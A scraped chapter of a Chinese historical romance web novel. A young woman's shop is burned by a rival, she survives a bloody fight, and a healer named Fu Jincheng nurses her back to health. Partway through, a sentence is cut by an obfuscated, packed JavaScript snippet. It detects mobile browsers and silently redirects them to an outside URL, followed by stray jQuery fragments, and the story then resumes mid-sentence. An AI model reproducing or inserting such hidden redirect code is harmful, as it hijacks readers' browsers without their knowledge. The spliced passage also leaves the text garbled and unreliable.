12. 第十二章

作品:《我在古代当富婆

    “公子快点吧,再晚了饭菜就凉了。听说公子乐善好施,在同福镇还可以救济更多的人呢。所以你们快去收拾,多带点东西,把要紧的东西都带了跟我走吧。”女子急得有些冒汗了。


    江流萤虽然摸不着头脑,但想来这女子也没有恶意,三个人便回房收拾东西。


    这小镇治安虽然不错,但值钱的物件毕竟带在身边才安心。江流萤把仅有的三件衣袍和所有的银钱还有七王爷给的玉佩带着了。


    冉竹和阿金也收拾好了。


    江流萤正要往前门走,女子一把拦住她:“从后门走吧。”


    见江流萤一脸不解,女子道:“我一个女孩子家,深更半夜的跟公子一同从前门走出去,被左邻右舍看见了像什么呀。”


    四个人便往院子里的后门走去。


    江流萤回头望了一眼经营了半年多的铺子,有些说不上来的感觉,又连连回头看了好几眼,才缓缓走出了后门。


    “走水啦……走水啦…”街上人声喧哗起来。


    天亮了,昔日人来人往的糕点铺成了一堆废墟。


    围观的人熙熙攘攘,都在叹息。


    “这火肯定是那黄老爷纵的,咱们去报官吧。”人群里一阵打抱不平的声音。


    “报官?方才你没看见官府的人吗,走个过场就走了,这其中的道理还不懂吗?”


    “这家铺子的陆公子是个好人啊,常常救济那些孤寡老人和小孩呢。真可惜啊,这么年轻又这么心善…”


    “是啊,陆公子前番在铺子前暴打黄老爷,昨天又在街上跟黄老爷起了冲突,这是摆明了被报复了啊。”


    “这么好的人,咱们能不能为他们做点什么啊…”


    “这黄家虽然没落,但瘦死的骆驼比马大,咱们还要在这生活呢,能跟他对着干吗?到时候引火烧身,咱们平头百姓能怎么办啊。只能祈祷这事早日水落石出,以慰陆公子在天之灵了。”


    三个人站在废墟前面面相觑。


    “铺子没了…我们的家…”冉竹声音低低的。


    阿金也着急地直比划。


    江流萤看懂了手语,阿金是在说“走前是熄灭了所有火源的…”


    江流萤有些恍惚。


    这些日子辛苦撑起来的铺子,生意也逐渐有了起色,日渐红火起来。经历过抄家流放,陆家人亡故,总以为日子会好起来,可是现实总在最甜的时候给人一记耳光。


    如今盈利不多,铺子成了这样还不知道要赔偿给东家多少钱,身上唯一值钱的玉佩也用来赎了人。江流萤脑补一大出被人追债的画面。


    “小姐?”冉竹小心翼翼地开口,眼角有些泛红。


    江流萤死死咬住下嘴唇,两只拳头握得死死的。


    良久,江流萤扯了扯嘴角,“大不了要饭去,太平盛世还能饿死人不成?”


    “只怕没这个命去要饭啊。”一个猥琐的声音响起。


    江流萤一愣,回头看时,正是那个猥琐的黄老爷,身后带着几十个带刀的打手围拢过来。


    江流萤冷笑道:“原来是有人纵火。”


    江流萤似乎一切都明白了,前番在街上救下的女子怕是听到了什么风声,那晚是有意来支开她们的。


    原来真的是有人纵火。那猥琐的黄变态便是主谋。


    “你命可真大啊。”黄老爷狠狠啐了一口:“今天你就是命再大也是双拳难敌众手。”


    黄老爷双目一凛,后面拿刀的小混混瞬间挥舞着手里的刀扑上来,一把刀从江流萤背后狠狠砍下,鲜血沿着后背滴落,血流如注。


    “小姐…”冉竹的声音颤抖着。


    阿金抓起一大把土往空中一洒,拉起江流萤和冉竹就跑。


    “我们…分开跑…能逃一个…是一个…”江流萤气息微弱,眼神愈发涣散。


    冉竹和阿金身后一个追兵也没有,小混混全奔着江流萤去了。


    身后的追兵越来越近,江流萤急刹住脚步,猛地转身,一个踢腿将一个小混混踢翻在地。紧接着从他手里抢过刀,手起刀落,一刀刺去,瞬间血色飞扬。


    一路砍杀,一时间血雨漫天。江流萤一双漂亮的桃花眼变得异常冷厉,竟有些杀红了眼,满身的鲜血,已经看不清脸上的表情,意识逐渐涣散起来。


    突然,一阵箭像雨般扑面而来。江流萤用尽最后一丝力气一躲,之后眼前一片模糊。江流萤觉得身轻如棉絮,眼底最后略过一道白色的身影…


    “今日是谁当值?那观中的庭院可打扫干净了?”


    “哎哟,是谁把经卷放这了?”


    ………


    “江流萤,今日师父所讲的《道德经》你可都懂了?”


    “师兄,我按师父教的吐纳之法修炼,却总觉得气息不畅,不知问题出在哪?”


    ………


    “江流萤,你来观中几年了还如此不懂规矩,传你剑法是让这般卖弄的吗?”


    “师父游历四方,下次可否带弟子一起去?”


    ………


    “小姐…小姐…”撕心般的叫喊。


    各种声音交织一片,愈发嘈杂,不一会却变得越来越遥远。


    江流萤缓缓睁开双眼,微微一动,引来身上彻骨的疼痛。浑身动弹不得,思绪却愈发清晰。


    一阵风吹过,窗前的竹叶窸窸窣窣,门上的风铃发出清脆悦耳的响声。一丝淡淡的药香在空气中弥散,窗外传来阵阵婉转的鸟鸣。


    江流萤有些疑惑,自己究竟是活着还是已经死了。


    她挣扎着想起身,只是稍稍一动,身上的伤口便撕裂般地疼起来。江流萤龇牙咧嘴地躺下,不敢大力喘气。


    外面传来一阵细微的说话声,还不时发出几声兵器撞击在一起的声音。


    江流萤皱了皱眉,再次试着起身,换来的却是更加剧烈的疼痛。


    “醒了?”一个温和的声音响起。


    江流萤侧头望去,一袭白袍飘飘,不是别人,正是傅锦城。


    “我还是第一次见到如此彪悍的女子。”傅锦城轻笑道。


    彪悍…江流萤嘴角抽了抽,“说你不解风情吧,你毕竟混迹于风月场。谁家好人用彪悍形容女孩子啊…”


    咳咳咳…傅锦城咳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113994|164139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得面色染上了一层红晕。


    “在下是本着对姑娘的敬意,并无他意。”傅锦城抚了抚额,笑道。


    “喝药了。”


    江流萤瞥了一眼,傅锦城一手拿了一本医书,一手端来一个粗瓷碗。碗里的乌漆嘛黑的粘稠黑色液体有些刺鼻。


    江流萤皱眉,将头一偏,并不打算喝下。


    “喝了吧。”傅锦城将碗递过来,认真地看着江流萤。


    下一秒,那碗不明液体已被强行灌下。


    “你这个臭小子!”碍于身体不便,江流萤只能冷哼一声来反抗了。


    被强行灌了几次药之后,江流萤觉得身上渐渐没那么痛了,渐渐能稍稍起身半靠在榻上了。


    “受这么重的伤这么快就能起身了,看来这医书果然有用。”傅锦城看着江流萤不住点头。


    江流萤嘴角抽了抽,合着是给人当小白鼠了。


    “这世间的人果然是个草台班子。我第一次给人医病就有了这么大成效。果然是要在实战中慢慢学习。”


    江流萤开始磨牙。要不是行动不便,多少得赏这小子几个脑瓜嘣。


    “你知不知道,那天我赶去的时候,你浑身是血倒在一片血泊里,我差点以为你死了…”傅锦城轻轻坐在江流萤旁边,眼神中有淡淡的疼惜。


    江流萤紧紧闭上眼睛。不管是那天凶险血腥的场景,还是第一次杀人的体验,她都不想再想起了。


    “怕了?”傅锦城清瘦的手轻轻抚过江流萤的后背,缓缓道:“伤口该换药了。”


    江流萤微微弯唇:“臭小子,你不知道男女授受不亲吗?”


    傅锦城闻言微微一愣,浅笑道:“你不知道在大夫的眼中,只有患者而没有男女吗?”


    “大哥,你还是翻看医书现学现卖…”江流萤白了一眼:“你究竟是何许人?”


    傅锦城淡淡一笑:“我自小身弱,举目无亲,邻居们都说我是天煞孤星,后来我就逃离了镇子,到了终南山跟着师父修行。师父临终前给我卜了一卦,让我一路往南。我便一路游山玩水,到了这惠州城。后来又在钱员外家暂且谋了一份生计。”


    那草药不知是什么成分,江流萤疼得龇牙咧嘴:“臭小子,轻点啊。”


    “你似乎不是这里的人。”傅锦城亮亮的眼睛带着看透人心的力量。


    “我家是被流放到这岭南的。圣上不分青红皂白就这样冤枉了对他忠心耿耿的臣子。天杀的万恶封建社会,竟这般没有人权。”江流萤牙齿咬得咯吱作响。


    “我…不是问你这个。”傅锦城若有所思,目光有些复杂地看向江流萤,低声道:“从前倒从她那里也听过类似的话。”


    “陆九罭不是你的本名吧。”傅锦城微微皱眉,缓缓开口。


    江流萤微眯双眼,这个人怕不是个半仙?


    “你的真名里是不是还有个萤字?”叶锦城清亮的眼睛闪着狡黠之色。


    江流萤认真看着傅锦城,不愧是半仙,怪不得能给人算卦呢。


    “哈哈…不要怀疑,我就是半仙。”傅锦城仿佛看出了江流萤的心思。